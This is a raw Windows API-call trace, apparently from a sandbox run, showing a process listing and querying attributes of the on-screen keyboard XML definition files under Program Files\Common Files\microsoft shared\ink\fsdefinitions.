	[0243.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0243.684] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0243.685] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.685] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1
	[0243.686] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.686] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0243.686] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7)) returned 1
	[0243.689] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1
	[0243.689] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.690] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.690] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1
	[0243.690] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.690] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.690] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d)) returned 1
	[0243.691] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5)) returned 1
	[0243.691] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.692] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.692] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1
	[0243.692] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.692] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.693] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d)) returned 1
	[0243.697] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb)) returned 1
	[0243.698] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.699] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.699] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1
	[0243.699] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.699] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.699] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c)) returned 1
	[0243.700] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1
	[0243.700] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0243.714] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.715] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1
	[0243.715] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1
